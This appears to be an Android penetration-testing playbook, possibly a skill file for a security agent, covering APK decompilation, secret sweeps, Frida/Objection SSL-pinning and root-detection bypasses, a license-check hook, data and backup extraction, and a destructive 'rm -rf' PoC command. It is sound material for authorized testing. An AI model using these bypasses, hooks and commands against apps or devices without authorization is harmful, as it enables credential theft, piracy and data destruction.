Mobile Android

Android Pentest Playbook

1. Static — decompile + inspect

Pull APK

# Listed apps on connected device
adb shell pm list packages -3            # third-party only
adb shell pm path com.target.app         # find APK path
adb pull /data/app/.../base.apk /tmp/

# Or from Google Play
gplaycli -d com.target.app -f /tmp/      # CLI Play store dump

# Or from third-party APK mirrors (apkpure / apkmirror)

Decompile

# Smali (low-level)
apktool d base.apk -o /tmp/apk-smali

# Java pseudo-code (jadx)
jadx --output-dir /tmp/apk-java base.apk
# Or jadx-gui for interactive

# Combine for full picture

MobSF automated triage

docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Upload APK via web UI, get full report

Manifest review

apkanalyzer manifest print base.apk
# OR
aapt dump xmltree base.apk AndroidManifest.xml | head -50

# Critical signals:
# - android:debuggable="true"        → debugger attachable
# - android:allowBackup="true"       → adb backup possible w/o root
# - android:exported="true" w/o perm → exposed component
# - <uses-permission> SMS/CAMERA/MIC reach  → privacy risk
# - <intent-filter> w/ "android.intent.action.VIEW" + custom scheme → deeplink
# - networkSecurityConfig: cleartextTrafficPermitted="true" → MITM-friendly

Secrets sweep

# Hardcoded keys in smali / java code
grep -rn 'api[_-]?key\|secret\|password' /tmp/apk-java/ | head -20

# Strings + entropy
strings -a base.apk | grep -E 'eyJhbGc|^[A-Za-z0-9+/]{30,}={0,2}$' | head

# AndroGuard for deep static
androguard analyze base.apk

2. Dynamic — Frida + Objection

Setup

# Push frida-server (rooted device / emulator)
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"

# Or use Magisk module on prod devices

Bypass SSL pinning (Frida codeshare scripts)

frida -U -l https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/ -f com.target.app

# Or Objection's built-in
objection -g com.target.app explore
> android sslpinning disable

Bypass root detection

objection -g com.target.app explore
> android root disable

# Or via Frida script — patches common checks (RootBeer, SafetyNet)

Intercept TLS

# Burp or mitmproxy w/ root CA installed on device (or magisk-trust-user-certs)
# Then re-launch app — traffic visible in proxy

Hook arbitrary functions

// Frida script — hook a class method
Java.perform(function() {
    var Auth = Java.use("com.target.app.AuthManager");
    Auth.checkLicense.implementation = function() {
        console.log("checkLicense called, returning true");
        return true;
    };
});

3. Common Android-specific attack surface

3.1 Insecure deeplinks / intents

# Test exposed activity
adb shell am start -n com.target.app/com.target.app.MainActivity \
  -a android.intent.action.VIEW -d "myapp://attacker-controlled-url"

# Test exposed service / broadcast
adb shell am startservice -n com.target.app/.ExposedService --es extra "value"
adb shell am broadcast -a com.target.app.ACTION_X --ei param 999

3.2 WebView vulnerabilities

• setJavaScriptEnabled(true) + addJavascriptInterface() w/o @JavascriptInterface annotation → arbitrary Java method exec from JS
• setAllowFileAccessFromFileURLs(true) → file:// URL XSS reads local files
• Custom URL scheme handlers w/o validation

3.3 Insecure storage

# Pull app data (rooted)
adb shell run-as com.target.app cat /data/data/com.target.app/shared_prefs/Auth.xml

# SQLite DBs
adb shell run-as com.target.app sqlite3 /data/data/com.target.app/databases/main.db ".dump"

3.4 Keystore extraction

Android Keystore is supposed to be hardware-backed. On rooted devices or devices w/ keystore bugs, keys extractable via:

• Frida hooks on KeyStore.getKey()
• LockKnife-style memory dump (https://github.com/ImKKingshuk/LockKnife)
• TEE exploitation (rare, advanced)

3.5 PIN brute / passkey

Android 14+ passkey biometric flow — LockKnife exploits Android pre-A14 keystore quirks. Modern Android raises the bar significantly.

3.6 Backup-restore confusion

If allowBackup=true:

adb backup com.target.app
# Pull backup, extract w/ android-backup-extractor (abe.jar)
java -jar abe.jar unpack backup.ab backup.tar
tar xvf backup.tar

4. Tools cheat-sheet

5. PoC framing

• Demonstrate API key extraction from static APK → use key to access backend
• Demonstrate SSL pinning bypass + traffic capture → show sensitive data over TLS-MITM'd connection
• Demonstrate exposed component RCE → adb shell am start -n ... --es cmd 'rm -rf'
• Document allowBackup=true + sensitive data extraction post-backup

6. Severity

7. Defender

• ProGuard / R8 obfuscation (raises bar; not security)
• Native code for cryptographic primitives + key derivation
• Hardware-backed Keystore (StrongBox where available)
• Network Security Config: cleartext denied, custom CA refusal
• SafetyNet / Play Integrity API for tamper detection
• Custom SSL pinning (not via system trust store)

Cross-references

• Operator's android-re global skill (Decepticon-external)
• Reverser binary triage: skills/reverser/triage/SKILL.md
• Cipher/key extraction: skills/exploit/crypto/SKILL.md

Known exemplars

• 2019: Multiple banking apps disclosed for SSL pinning bypass — $5-15k bounties
• 2021: Multiple Android apps w/ exposed activity RCE chains
• LockKnife (2024): Android forensics credential extraction tool
• Routine: hardcoded Firebase URLs + permissive rules → full DB read